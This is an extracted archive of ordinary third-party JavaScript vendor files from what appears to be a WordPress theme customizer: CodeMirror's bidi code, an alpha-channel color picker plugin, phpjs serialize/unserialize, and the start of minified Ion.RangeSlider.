      else if (0x600 <= code && code <= 0x6ed) return arabicTypes.charAt(code - 0x600);
      else if (0x6ee <= code && code <= 0x8ac) return "r";
      else if (0x2000 <= code && code <= 0x200b) return "w";
      else if (code == 0x200c) return "b";
      else return "L";
    }

    var bidiRE = /[\u0590-\u05f4\u0600-\u06ff\u0700-\u08ac]/;
    var isNeutral = /[stwN]/, isStrong = /[LRr]/, countsAsLeft = /[Lb1n]/, countsAsNum = /[1n]/;
    // Browsers seem to always treat the boundaries of block elements as being L.
    var outerType = "L";

    function BidiSpan(level, from, to) {
      this.level = level;
      this.from = from; this.to = to;
    }

    return function(str) {
      if (!bidiRE.test(str)) return false;
      var len = str.length, types = [];
      for (var i = 0, type; i < len; ++i)
        types.push(type = charType(str.charCodeAt(i)));

      // W1. Examine each non-spacing mark (NSM) in the level run, and
      // change the type of the NSM to the type of the previous
      // character. If the NSM is at the start of the level run, it will
      // get the type of sor.
      for (var i = 0, prev = outerType; i < len; ++i) {
        var type = types[i];
        if (type == "m") types[i] = prev;
        else prev = type;
      }

      // W2. Search backwards from each instance of a European number
      // until the first strong type (R, L, AL, or sor) is found. If an
      // AL is found, change the type of the European number to Arabic
      // number.
      // W3. Change all ALs to R.
      for (var i = 0, cur = outerType; i < len; ++i) {
        var type = types[i];
        if (type == "1" && cur == "r") types[i] = "n";
        else if (isStrong.test(type)) { cur = type; if (type == "r") types[i] = "R"; }
      }

      // W4. A single European separator between two European numbers
      // changes to a European number. A single common separator between
      // two numbers of the same type changes to that type.
      for (var i = 1, prev = types[0]; i < len - 1; ++i) {
        var type = types[i];
        if (type == "+" && prev == "1" && types[i+1] == "1") types[i] = "1";
        else if (type == "," && prev == types[i+1] &&
                 (prev == "1" || prev == "n")) types[i] = prev;
        prev = type;
      }

      // W5. A sequence of European terminators adjacent to European
      // numbers changes to all European numbers.
      // W6. Otherwise, separators and terminators change to Other
      // Neutral.
      for (var i = 0; i < len; ++i) {
        var type = types[i];
        if (type == ",") types[i] = "N";
        else if (type == "%") {
          for (var end = i + 1; end < len && types[end] == "%"; ++end) {}
          var replace = (i && types[i-1] == "!") || (end < len && types[end] == "1") ? "1" : "N";
          for (var j = i; j < end; ++j) types[j] = replace;
          i = end - 1;
        }
      }

      // W7. Search backwards from each instance of a European number
      // until the first strong type (R, L, or sor) is found. If an L is
      // found, then change the type of the European number to L.
      for (var i = 0, cur = outerType; i < len; ++i) {
        var type = types[i];
        if (cur == "L" && type == "1") types[i] = "L";
        else if (isStrong.test(type)) cur = type;
      }

      // N1. A sequence of neutrals takes the direction of the
      // surrounding strong text if the text on both sides has the same
      // direction. European and Arabic numbers act as if they were R in
      // terms of their influence on neutrals. Start-of-level-run (sor)
      // and end-of-level-run (eor) are used at level run boundaries.
      // N2. Any remaining neutrals take the embedding direction.
      for (var i = 0; i < len; ++i) {
        if (isNeutral.test(types[i])) {
          for (var end = i + 1; end < len && isNeutral.test(types[end]); ++end) {}
          var before = (i ? types[i-1] : outerType) == "L";
          var after = (end < len ? types[end] : outerType) == "L";
          var replace = before || after ? "L" : "R";
          for (var j = i; j < end; ++j) types[j] = replace;
          i = end - 1;
        }
      }

      // Here we depart from the documented algorithm, in order to avoid
      // building up an actual levels array. Since there are only three
      // levels (0, 1, 2) in an implementation that doesn't take
      // explicit embedding into account, we can build up the order on
      // the fly, without following the level-based algorithm.
      var order = [], m;
      for (var i = 0; i < len;) {
        if (countsAsLeft.test(types[i])) {
          var start = i;
          for (++i; i < len && countsAsLeft.test(types[i]); ++i) {}
          order.push(new BidiSpan(0, start, i));
        } else {
          var pos = i, at = order.length;
          for (++i; i < len && types[i] != "L"; ++i) {}
          for (var j = pos; j < i;) {
            if (countsAsNum.test(types[j])) {
              if (pos < j) order.splice(at, 0, new BidiSpan(1, pos, j));
              var nstart = j;
              for (++j; j < i && countsAsNum.test(types[j]); ++j) {}
              order.splice(at, 0, new BidiSpan(2, nstart, j));
              pos = j;
            } else ++j;
          }
          if (pos < i) order.splice(at, 0, new BidiSpan(1, pos, i));
        }
      }
      if (order[0].level == 1 && (m = str.match(/^\s+/))) {
        order[0].from = m[0].length;
        order.unshift(new BidiSpan(0, 0, m[0].length));
      }
      if (lst(order).level == 1 && (m = str.match(/\s+$/))) {
        lst(order).to -= m[0].length;
        order.push(new BidiSpan(0, len - m[0].length, len));
      }
      if (order[0].level == 2)
        order.unshift(new BidiSpan(1, order[0].to, order[0].to));
      if (order[0].level != lst(order).level)
        order.push(new BidiSpan(order[0].level, len, len));

      return order;
    };
  })();

  // THE END

  CodeMirror.version = "5.9.0";

  return CodeMirror;
});
PK     0w\Un<  <  >  customizer/framework/assets/js/vendor/wp-color-picker-alpha.jsnu [        /**!
 * wp-color-picker-alpha
 *
 * Overwrite Automattic Iris for enabled Alpha Channel in wpColorPicker
 * Only run in input and is defined data alpha in true
 *
 * Version: 2.1.2
 * https://github.com/kallookoo/wp-color-picker-alpha
 * Licensed under the GPLv2 license.
 */
( function( $ ) {
    'use strict';

		// Variable for some backgrounds ( grid )
	var image   = 'data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAIAAAHnlligAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAHJJREFUeNpi+P///4EDBxiAGMgCCCAGFB5AADGCRBgYDh48CCRZIJS9vT2QBAggFBkmBiSAogxFBiCAoHogAKIKAlBUYTELAiAmEtABEECk20G6BOmuIl0CIMBQ/IEMkO0myiSSraaaBhZcbkUOs0HuBwDplz5uFJ3Z4gAAAABJRU5ErkJggg==',
		// html stuff for wpColorPicker copy of the original color-picker.js
		_after = '<div class="wp-picker-holder" />',
		_wrap = '<div class="wp-picker-container" />',
		_button = '<input type="button" class="button button-small" />',
		// Prevent CSS issues in < WordPress 4.9
		_deprecated = ( wpColorPickerL10n.current !== undefined );
		// Declare some global variables when is deprecated or not
		if ( _deprecated ) {
			var _before = '<a tabindex="0" class="wp-color-result" />';
		} else {
			var _before = '<button type="button" class="button wp-color-result" aria-expanded="false"><span class="wp-color-result-text"></span></button>',
				_wrappingLabel = '<label></label>',
				_wrappingLabelText = '<span class="screen-reader-text"></span>';
		}
	/**
	 * Overwrite Color
	 * for enable support rbga
	 */
	Color.fn.toString = function() {
		if ( this._alpha < 1 )
			return this.toCSS( 'rgba', this._alpha ).replace( /\s+/g, '' );

		var hex = parseInt( this._color, 10 ).toString( 16 );

		if ( this.error )
			return '';

		if ( hex.length < 6 )
			hex = ( '00000' + hex ).substr( -6 );

		return '#' + hex;
	};

	/**
	 * Overwrite wpColorPicker
	 */
	$.widget( 'wp.wpColorPicker', $.wp.wpColorPicker, {
		/**
		 * @summary Creates the color picker.
		 *
		 * Creates the color picker, sets default values, css classes and wraps it all in HTML.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_create: function() {
			// Return early if Iris support is missing.
			if ( ! $.support.iris ) {
				return;
			}

			var self = this,
				el = self.element;

			// Override default options with options bound to the element.
			$.extend( self.options, el.data() );

			// Create a color picker which only allows adjustments to the hue.
			if ( self.options.type === 'hue' ) {
				return self._createHueOnly();
			}

			// Bind the close event.
			self.close = $.proxy( self.close, self );

			self.initialValue = el.val();

			// Add a CSS class to the input field.
			el.addClass( 'wp-color-picker' );

			if ( _deprecated ) {
				el.hide().wrap( _wrap );
				self.wrap            = el.parent();
				self.toggler         = $( _before )
					.insertBefore( el )
					.css( { backgroundColor : self.initialValue } )
					.attr( 'title', wpColorPickerL10n.pick )
					.attr( 'data-current', wpColorPickerL10n.current );
				self.pickerContainer = $( _after ).insertAfter( el );
				self.button          = $( _button ).addClass('hidden');
			} else {
				/*
				 * Check if there's already a wrapping label, e.g. in the Customizer.
				 * If there's no label, add a default one to match the Customizer template.
				 */
				if ( ! el.parent( 'label' ).length ) {
					// Wrap the input field in the default label.
					el.wrap( _wrappingLabel );
					// Insert the default label text.
					self.wrappingLabelText = $( _wrappingLabelText )
						.insertBefore( el )
						.text( wpColorPickerL10n.defaultLabel );
				}

				/*
				 * At this point, either it's the standalone version or the Customizer
				 * one, we have a wrapping label to use as hook in the DOM, let's store it.
				 */
				self.wrappingLabel = el.parent();

				// Wrap the label in the main wrapper.
				self.wrappingLabel.wrap( _wrap );
				// Store a reference to the main wrapper.
				self.wrap = self.wrappingLabel.parent();
				// Set up the toggle button and insert it before the wrapping label.
				self.toggler = $( _before )
					.insertBefore( self.wrappingLabel )
					.css( { backgroundColor: self.initialValue } );
				// Set the toggle button span element text.
				self.toggler.find( '.wp-color-result-text' ).text( wpColorPickerL10n.pick );
				// Set up the Iris container and insert it after the wrapping label.
				self.pickerContainer = $( _after ).insertAfter( self.wrappingLabel );
				// Store a reference to the Clear/Default button.
				self.button = $( _button );
			}

			// Set up the Clear/Default button.
			if ( self.options.defaultColor ) {
				self.button.addClass( 'wp-picker-default' ).val( wpColorPickerL10n.defaultString );
				if ( ! _deprecated ) {
					self.button.attr( 'aria-label', wpColorPickerL10n.defaultAriaLabel );
				}
			} else {
				self.button.addClass( 'wp-picker-clear' ).val( wpColorPickerL10n.clear );
				if ( ! _deprecated ) {
					self.button.attr( 'aria-label', wpColorPickerL10n.clearAriaLabel );
				}
			}

			if ( _deprecated ) {
				el.wrap( '<span class="wp-picker-input-wrap" />' ).after( self.button );
			} else {
				// Wrap the wrapping label in its wrapper and append the Clear/Default button.
				self.wrappingLabel
					.wrap( '<span class="wp-picker-input-wrap hidden" />' )
					.after( self.button );

				/*
				 * The input wrapper now contains the label+input+Clear/Default button.
				 * Store a reference to the input wrapper: we'll use this to toggle
				 * the controls visibility.
				 */
				self.inputWrapper = el.closest( '.wp-picker-input-wrap' );
			}

			el.iris( {
				target: self.pickerContainer,
				hide: self.options.hide,
				width: self.options.width,
				mode: self.options.mode,
				palettes: self.options.palettes,
				/**
				 * @summary Handles the onChange event if one has been defined in the options.
				 *
				 * Handles the onChange event if one has been defined in the options and additionally
				 * sets the background color for the toggler element.
				 *
				 * @since 3.5.0
				 *
				 * @param {Event} event    The event that's being called.
				 * @param {HTMLElement} ui The HTMLElement containing the color picker.
				 *
				 * @returns {void}
				 */
				change: function( event, ui ) {
					if ( self.options.alpha ) {
						self.toggler.css( { 'background-image' : 'url(' + image + ')' } );
						if ( _deprecated ) {
							self.toggler.html( '<span class="color-alpha" />' );
						} else {
							self.toggler.css( {
								'position' : 'relative'
							} );
							if ( self.toggler.find('span.color-alpha').length == 0 ) {
								self.toggler.append('<span class="color-alpha" />');
							}
						}

						self.toggler.find( 'span.color-alpha' ).css( {
							'width'                     : '30px',
							'height'                    : '24px',
							'position'                  : 'absolute',
							'top'                       : 0,
							'left'                      : 0,
							'border-top-left-radius'    : '2px',
							'border-bottom-left-radius' : '2px',
							'background'                : ui.color.toString()
						} );
					} else {
						self.toggler.css( { backgroundColor : ui.color.toString() } );
					}

					if ( $.isFunction( self.options.change ) ) {
						self.options.change.call( this, event, ui );
					}
				}
			} );

			el.val( self.initialValue );
			self._addListeners();

			// Force the color picker to always be closed on initial load.
			if ( ! self.options.hide ) {
				self.toggler.click();
			}
		},
		/**
		 * @summary Binds event listeners to the color picker.
		 *
		 * @since 3.5.0
		 *
		 * @access private
		 *
		 * @returns {void}
		 */
		_addListeners: function() {
			var self = this;

			/**
			 * @summary Prevent any clicks inside this widget from leaking to the top and closing it.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returs {void}
			 */
			self.wrap.on( 'click.wpcolorpicker', function( event ) {
				event.stopPropagation();
			});

			/**
			 * @summary Open or close the color picker depending on the class.
			 *
			 * @since 3.5
			 */
			self.toggler.on('click', function(){
				if ( self.toggler.hasClass( 'wp-picker-open' ) ) {
					self.close();
				} else {
					self.open();
				}
			});

			/**
			 * @summary Checks if value is empty when changing the color in the color picker.
			 *
			 * Checks if value is empty when changing the color in the color picker.
			 * If so, the background color is cleared.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.element.on( 'change', function( event ) {
				// Empty or Error = clear
				if ( $( this ).val() === '' || self.element.hasClass( 'iris-error' ) ) {
					if ( self.options.alpha ) {
						if ( _deprecated ) {
							self.toggler.removeAttr( 'style' );
						}
						self.toggler.find( 'span.color-alpha' ).css( 'backgroundColor', '' );
					} else {
						self.toggler.css( 'backgroundColor', '' );
					}

					// fire clear callback if we have one
					if ( $.isFunction( self.options.clear ) )
						self.options.clear.call( this, event );
				}
			} );

			/**
			 * @summary Enables the user to clear or revert the color in the color picker.
			 *
			 * Enables the user to either clear the color in the color picker or revert back to the default color.
			 *
			 * @since 3.5.0
			 *
			 * @param {Event} event The event that's being called.
			 *
			 * @returns {void}
			 */
			self.button.on( 'click', function( event ) {
				if ( $( this ).hasClass( 'wp-picker-clear' ) ) {
					self.element.val( '' );
					if ( self.options.alpha ) {
						if ( _deprecated ) {
							self.toggler.removeAttr( 'style' );
						}
						self.toggler.find( 'span.color-alpha' ).css( 'backgroundColor', '' );
					} else {
						self.toggler.css( 'backgroundColor', '' );
					}

					if ( $.isFunction( self.options.clear ) )
						self.options.clear.call( this, event );

				} else if ( $( this ).hasClass( 'wp-picker-default' ) ) {
					self.element.val( self.options.defaultColor ).change();
				}
			});
		},
	});

	/**
	 * Overwrite iris
	 */
	$.widget( 'a8c.iris', $.a8c.iris, {
		_create: function() {
			this._super();

			// Global option for check is mode rbga is enabled
			this.options.alpha = this.element.data( 'alpha' ) || false;

			// Is not input disabled
			if ( ! this.element.is( ':input' ) )
				this.options.alpha = false;

			if ( typeof this.options.alpha !== 'undefined' && this.options.alpha ) {
				var self       = this,
					el         = self.element,
					_html      = '<div class="iris-strip iris-slider iris-alpha-slider"><div class="iris-slider-offset iris-slider-offset-alpha"></div></div>',
					aContainer = $( _html ).appendTo( self.picker.find( '.iris-picker-inner' ) ),
					aSlider    = aContainer.find( '.iris-slider-offset-alpha' ),
					controls   = {
						aContainer : aContainer,
						aSlider    : aSlider
					};

				if ( typeof el.data( 'custom-width' ) !== 'undefined' ) {
					self.options.customWidth = parseInt( el.data( 'custom-width' ) ) || 0;
				} else {
					self.options.customWidth = 100;
				}

				// Set default width for input reset
				self.options.defaultWidth = el.width();

				// Update width for input
				if ( self._color._alpha < 1 || self._color.toString().indexOf('rgb') != -1 )
					el.width( parseInt( self.options.defaultWidth + self.options.customWidth ) );

				// Push new controls
				$.each( controls, function( k, v ) {
					self.controls[k] = v;
				} );

				// Change size strip and add margin for sliders
				self.controls.square.css( { 'margin-right': '0' } );
				var emptyWidth   = ( self.picker.width() - self.controls.square.width() - 20 ),
					stripsMargin = ( emptyWidth / 6 ),
					stripsWidth  = ( ( emptyWidth / 2 ) - stripsMargin );

				$.each( [ 'aContainer', 'strip' ], function( k, v ) {
					self.controls[v].width( stripsWidth ).css( { 'margin-left' : stripsMargin + 'px' } );
				} );

				// Add new slider
				self._initControls();

				// For updated widget
				self._change();
			}
		},
		_initControls: function() {
			this._super();

			if ( this.options.alpha ) {
				var self     = this,
					controls = self.controls;

				controls.aSlider.slider({
					orientation : 'vertical',
					min         : 0,
					max         : 100,
					step        : 1,
					value       : parseInt( self._color._alpha * 100 ),
					slide       : function( event, ui ) {
						// Update alpha value
						self._color._alpha = parseFloat( ui.value / 100 );
						self._change.apply( self, arguments );
					}
				});
			}
		},
		_change: function() {
			this._super();

			var self = this,
				el   = self.element;

			if ( this.options.alpha ) {
				var	controls     = self.controls,
					alpha        = parseInt( self._color._alpha * 100 ),
					color        = self._color.toRgb(),
					gradient     = [
						'rgb(' + color.r + ',' + color.g + ',' + color.b + ') 0%',
						'rgba(' + color.r + ',' + color.g + ',' + color.b + ', 0) 100%'
					],
					defaultWidth = self.options.defaultWidth,
					customWidth  = self.options.customWidth,
					target       = self.picker.closest( '.wp-picker-container' ).find( '.wp-color-result' );

				// Generate background slider alpha, only for CSS3 old browser fuck!! :)
				controls.aContainer.css( { 'background' : 'linear-gradient(to bottom, ' + gradient.join( ', ' ) + '), url(' + image + ')' } );

				if ( target.hasClass( 'wp-picker-open' ) ) {
					// Update alpha value
					controls.aSlider.slider( 'value', alpha );

					/**
					 * Disabled change opacity in default slider Saturation ( only is alpha enabled )
					 * and change input width for view all value
					 */
					if ( self._color._alpha < 1 ) {
						controls.strip.attr( 'style', controls.strip.attr( 'style' ).replace( /rgba\(([0-9]+,)(\s+)?([0-9]+,)(\s+)?([0-9]+)(,(\s+)?[0-9\.]+)\)/g, 'rgb($1$3$5)' ) );
						el.width( parseInt( defaultWidth + customWidth ) );
					} else {
						el.width( parseInt( defaultWidth + customWidth ) );
					}
				}
			}

			var reset = el.data( 'reset-alpha' ) || false;

			if ( reset ) {
				self.picker.find( '.iris-palette-container' ).on( 'click.palette', '.iris-palette', function() {
					self._color._alpha = 1;
					self.active        = 'external';
					self._change();
				} );
			}
		},
		_addInputListeners: function( input ) {
			var self            = this,
				debounceTimeout = 100,
				callback        = function( event ) {
					var color = new Color( input.val() ),
						val   = input.val();

					input.removeClass( 'iris-error' );
					// we gave a bad color
					if ( color.error ) {
						// don't error on an empty input
						if ( val !== '' )
							input.addClass( 'iris-error' );
					} else {
						if ( color.toString() !== self._color.toString() ) {
							// let's not do this on keyup for hex shortcodes
							if ( ! ( event.type === 'keyup' && val.match( /^[0-9a-fA-F]{3}$/ ) ) )
								self._setOption( 'color', color.toString() );
						}
					}
				};

			input.on( 'change', callback ).on( 'keyup', self._debounce( callback, debounceTimeout ) );

			// If we initialized hidden, show on first focus. The rest is up to you.
			if ( self.options.hide ) {
				input.on( 'focus', function() {
					self.show();
				} );
			}
		}
	} );
}( jQuery ) );

// Auto Call plugin is class is color-picker
jQuery( document ).ready( function( $ ) {
	$( '.color-picker' ).wpColorPicker();
} );
PK     0w\<G)  )  2  customizer/framework/assets/js/vendor/serialize.jsnu [        function serialize(mixed_value) {
    //  discuss at: http://phpjs.org/functions/serialize/
    // original by: Arpad Ray (mailto:arpad@php.net)
    // improved by: Dino
    // improved by: Le Torbi (http://www.letorbi.de/)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
    // bugfixed by: Andrej Pavlovic
    // bugfixed by: Garagoth
    // bugfixed by: Russell Walker (http://www.nbill.co.uk/)
    // bugfixed by: Jamie Beck (http://www.terabit.ca/)
    // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net/)
    // bugfixed by: Ben (http://benblume.co.uk/)
    //	input by: DtTvB (http://dt.in.th/2008-09-16.string-length-in-bytes.html)
    //	input by: Martin (http://www.erlenwiese.de/)
    //		note: We feel the main purpose of this function should be to ease the transport of data between php & js
    //		note: Aiming for PHP-compatibility, we have to translate objects to arrays
    //   example 1: serialize(['Kevin', 'van', 'Zonneveld']);
    //   returns 1: 'a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}'
    //   example 2: serialize({firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'});
    //   returns 2: 'a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}'

    'use strict';

    var val, key, okey,
        ktype = '',
        vals = '',
        count = 0,
        _utf8Size = function(str) {
            var size = 0,
                i = 0,
                l = str.length,
                code = '';
            for (i = 0; i < l; i++) {
                code = str.charCodeAt(i);
                if (code < 0x0080) {
                    size += 1;
                } else if (code < 0x0800) {
                    size += 2;
                } else {
                    size += 3;
                }
            }
            return size;
        },
    _getType = function(inp) {
        var match, key, cons, types, type = typeof inp;

        if (type === 'object' && !inp) {
            return 'null';
        }
        if (type === 'object') {
            if (!inp.constructor) {
                return 'object';
            }
            cons = inp.constructor.toString();
            match = cons.match(/(\w+)\(/);
            if (match) {
                cons = match[1].toLowerCase();
            }
            types = ['boolean', 'number', 'string', 'array'];
            for (key in types) {
                if (cons == types[key]) {
                    type = types[key];
                    break;
                }
            }
        }
        return type;
    },
    type = _getType(mixed_value);

    switch (type) {
        case 'function':
            val = '';
            break;
        case 'boolean':
            val = 'b:' + (mixed_value ? '1' : '0');
            break;
        case 'number':
            val = (Math.round(mixed_value) == mixed_value ? 'i' : 'd') + ':' + mixed_value;
            break;
        case 'string':
            val = 's:' + _utf8Size(mixed_value) + ':"' + mixed_value + '"';
            break;
        case 'array':
        case 'object':
            val = 'a';
            /*
              if (type === 'object') {
                var objname = mixed_value.constructor.toString().match(/(\w+)\(\)/);
                if (objname == undefined) {
                  return;
                }
                objname[1] = this.serialize(objname[1]);
                val = 'O' + objname[1].substring(1, objname[1].length - 1);
              }
              */

            for (key in mixed_value) {
                if (mixed_value.hasOwnProperty(key)) {
                    ktype = _getType(mixed_value[key]);
                    if (ktype === 'function') {
                        continue;
                    }


                    okey = (key.match(/^[0-9]+$/) ? parseInt(key, 10) : key);
                    vals += this.serialize(okey) + this.serialize(mixed_value[key]);
                    count++;
                }
            }
            val += ':' + count + ':{' + vals + '}';
            break;
        case 'undefined':
        // Fall-through
        default:
            // if the JS object has a property which contains a null value, the string cannot be unserialized by PHP
            val = 'N';
            break;
    }
    if (type !== 'object' && type !== 'array') {
        if ( type == 'string' && val.indexOf('}') != -1 ) {
        } else {
            val += ';';
        }
    }
    return val;
}


function unserialize(data) {
    //  discuss at: http://phpjs.org/functions/unserialize/
    // original by: Arpad Ray (mailto:arpad@php.net)
    // improved by: Pedro Tainha (http://www.pedrotainha.com)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // improved by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // improved by: Chris
    // improved by: James
    // improved by: Le Torbi
    // improved by: Eli Skeggs
    // bugfixed by: dptr1988
    // bugfixed by: Kevin van Zonneveld (http://kevin.vanzonneveld.net)
    // bugfixed by: Brett Zamir (http://brett-zamir.me)
    //  revised by: d3x
    //	input by: Brett Zamir (http://brett-zamir.me)
    //	input by: Martin (http://www.erlenwiese.de/)
    //	input by: kilops
    //	input by: Jaroslaw Czarniak
    //		note: We feel the main purpose of this function should be to ease the transport of data between php & js
    //		note: Aiming for PHP-compatibility, we have to translate objects to arrays
    //   example 1: unserialize('a:3:{i:0;s:5:"Kevin";i:1;s:3:"van";i:2;s:9:"Zonneveld";}');
    //   returns 1: ['Kevin', 'van', 'Zonneveld']
    //   example 2: unserialize('a:3:{s:9:"firstName";s:5:"Kevin";s:7:"midName";s:3:"van";s:7:"surName";s:9:"Zonneveld";}');
    //   returns 2: {firstName: 'Kevin', midName: 'van', surName: 'Zonneveld'}

    'use strict';

    var that = this,
        utf8Overhead = function(chr) {
            // http://phpjs.org/functions/unserialize:571#comment_95906
            var code = chr.charCodeAt(0);
            if (code < 0x0080) {
                return 0;
            }
            if (code < 0x0800) {
                return 1;
            }
            return 2;
        },
    error = function(type, msg, filename, line) {
        throw new that.window[type](msg, filename, line);
    },
    read_until = function(data, offset, stopchr) {
        var i = 2,
            buf = [],
            chr = data.slice(offset, offset + 1);

        while (chr != stopchr) {
            if ((i + offset) > data.length) {
                error('Error', 'Invalid');
            }
            buf.push(chr);
            chr = data.slice(offset + (i - 1), offset + i);
            i += 1;
        }
        return [buf.length, buf.join('')];
    },
    read_chrs = function(data, offset, length) {
        var i, chr, buf;

        buf = [];
        for (i = 0; i < length; i++) {
            chr = data.slice(offset + (i - 1), offset + i);
            buf.push(chr);
            length -= utf8Overhead(chr);
        }
        return [buf.length, buf.join('')];
    },
    _unserialize = function(data, offset) {
        var dtype, dataoffset, keyandchrs, keys, contig,
            length, array, readdata, readData, ccount,
            stringlength, i, key, kprops, kchrs, vprops,
            vchrs, value, chrs = 0,
            typeconvert = function(x) {
                return x;
            };

        if (!offset) {
            offset = 0;
        }
        dtype = (data.slice(offset, offset + 1))
            .toLowerCase();

        dataoffset = offset + 2;

        switch (dtype) {
            case 'i':
                typeconvert = function(x) {
                    return parseInt(x, 10);
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'b':
                typeconvert = function(x) {
                    return parseInt(x, 10) !== 0;
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'd':
                typeconvert = function(x) {
                    return parseFloat(x);
                };
                readData = read_until(data, dataoffset, ';');
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 1;
                break;
            case 'n':
                readdata = null;
                break;
            case 's':
                ccount = read_until(data, dataoffset, ':');
                chrs = ccount[0];
                stringlength = ccount[1];
                dataoffset += chrs + 2;

                readData = read_chrs(data, dataoffset + 1, parseInt(stringlength, 10));
                chrs = readData[0];
                readdata = readData[1];
                dataoffset += chrs + 2;
                if (chrs != parseInt(stringlength, 10) && chrs != readdata.length) {
                    error('SyntaxError', 'String length mismatch');
                }
                break;
            case 'a':
                readdata = {};

                keyandchrs = read_until(data, dataoffset, ':');
                chrs = keyandchrs[0];
                keys = keyandchrs[1];
                dataoffset += chrs + 2;

                length = parseInt(keys, 10);
                contig = true;

                for (i = 0; i < length; i++) {
                    kprops = _unserialize(data, dataoffset);
                    kchrs = kprops[1];
                    key = kprops[2];
                    dataoffset += kchrs;

                    vprops = _unserialize(data, dataoffset);
                    vchrs = vprops[1];
                    value = vprops[2];
                    dataoffset += vchrs;

                    if (key !== i)
                        contig = false;

                    readdata[key] = value;
                }

                if (contig) {
                    array = new Array(length);
                    for (i = 0; i < length; i++)
                        array[i] = readdata[i];
                    readdata = array;
                }

                dataoffset += 1;
                break;
            default:
                error('SyntaxError', 'Unknown / Unhandled data type(s): ' + dtype);
                break;
        }
        return [dtype, dataoffset - offset, typeconvert(readdata)];
    };

    return _unserialize((data + ''), 0)[2];
}
PK     0w\c    <  customizer/framework/assets/js/vendor/ion.rangeSlider.min.jsnu [        // Ion.RangeSlider | version 2.2.0 | https://github.com/IonDen/ion.rangeSlider
;(function(f){"function"===typeof define&&define.amd?define(["jquery"],function(n){return f(n,document,window,navigator)}):"object"===typeof exports?f(require("jquery"),document,window,navigator):f(jQuery,document,window,navigator)})(function(f,n,k,r,p){var t=0,m=function(){var a=r.userAgent,b=/msie\s\d+/i;return 0<a.search(b)&&(a=b.exec(a).toString(),a=a.split(" ")[1],9>a)?(f("html").addClass("lt-ie9"),!0):!1}();Function.prototype.bind||(Function.prototype.bind=function(a){var b=this,d=[].slice;if("function"!=
typeof b)throw new TypeError;var c=d.call(arguments,1),e=function(){if(this instanceof e){var g=function(){};g.prototype=b.prototype;var g=new g,l=b.apply(g,c.concat(d.call(arguments)));return Object(l)===l?l:g}return b.apply(a,c.concat(d.call(arguments)))};return e});Array.prototype.indexOf||(Array.prototype.indexOf=function(a,b){if(null==this)throw new TypeError('"this" is null or not defined');var d=Object(this),c=d.length>>>0;if(0===c)return-1;var e=+b||0;Infinity===Math.abs(e)&&(e=0);if(e>=c)return-1;
for(e=Math.max(0<=e?e:c-Math.abs(e),0);e<c;){if(e in d&&d[e]===a)return e;e++}return-1});var q=function(a,b,d){this.VERSION="2.2.0";this.input=a;this.plugin_count=d;this.old_to=this.old_from=this.update_tm=this.calc_count=this.current_plugin=0;this.raf_id=this.old_min_interval=null;this.no_diapason=this.force_redraw=this.dragging=!1;this.has_tab_index=!0;this.is_update=this.is_key=!1;this.is_start=!0;this.is_click=this.is_resize=this.is_active=this.is_finish=!1;b=b||{};this.$cache={win:f(k),body:f(n.body),
input:f(a),cont:null,rs:null,min:null,max:null,from:null,to:null,single:null,bar:null,line:null,s_single:null,s_from:null,s_to:null,shad_single:null,shad_from:null,shad_to:null,edge:null,grid:null,grid_labels:[]};this.coords={x_gap:0,x_pointer:0,w_rs:0,w_rs_old:0,w_handle:0,p_gap:0,p_gap_left:0,p_gap_right:0,p_step:0,p_pointer:0,p_handle:0,p_single_fake:0,p_single_real:0,p_from_fake:0,p_from_real:0,p_to_fake:0,p_to_real:0,p_bar_x:0,p_bar_w:0,grid_gap:0,big_num:0,big:[],big_w:[],big_p:[],big_x:[]};
this.labels={w_min:0,w_max:0,w_from:0,w_to:0,w_single:0,p_min:0,p_max:0,p_from_fake:0,p_from_left:0,p_to_fake:0,p_to_left:0,p_single_fake:0,p_single_left:0};var c=this.$cache.input;a=c.prop("value");var e;d={type:"single",min:10,max:100,from:null,to:null,step:1,min_interval:0,max_interval:0,drag_interval:!1,values:[],p_values:[],from_fixed:!1,from_min:null,from_max:null,from_shadow:!1,to_fixed:!1,to_min:null,to_max:null,to_shadow:!1,prettify_enabled:!0,prettify_separator:" ",prettify:null,force_edges:!1,
keyboard:!0,grid:!1,grid_margin:!0,grid_num:4,grid_snap:!1,hide_min_max:!1,hide_from_to:!1,prefix:"",postfix:"",max_postfix:"",decorate_both:!0,values_separator:" \u2014 ",input_values_separator:";",disable:!1,block:!1,extra_classes:"",scope:null,onStart:null,onChange:null,onFinish:null,onUpdate:null};"INPUT"!==c[0].nodeName&&console&&console.warn&&console.warn("Base element should be <input>!",c[0]);c={type:c.data("type"),min:c.data("min"),max:c.data("max"),from:c.data("from"),to:c.data("to"),step:c.data("step"),
min_interval:c.data("minInterval"),max_interval:c.data("maxInterval"),drag_interval:c.data("dragInterval"),values:c.data("values"),from_fixed:c.data("fromFixed"),from_min:c.data("fromMin"),from_max:c.data("fromMax"),from_shadow:c.data("fromShadow"),to_fixed:c.data("toFixed"),to_min:c.data("toMin"),to_max:c.data("toMax"),to_shadow:c.data("toShadow"),prettify_enabled:c.data("prettifyEnabled"),prettify_separator:c.data("prettifySeparator"),force_edges:c.data("forceEdges"),keyboard:c.data("keyboard"),
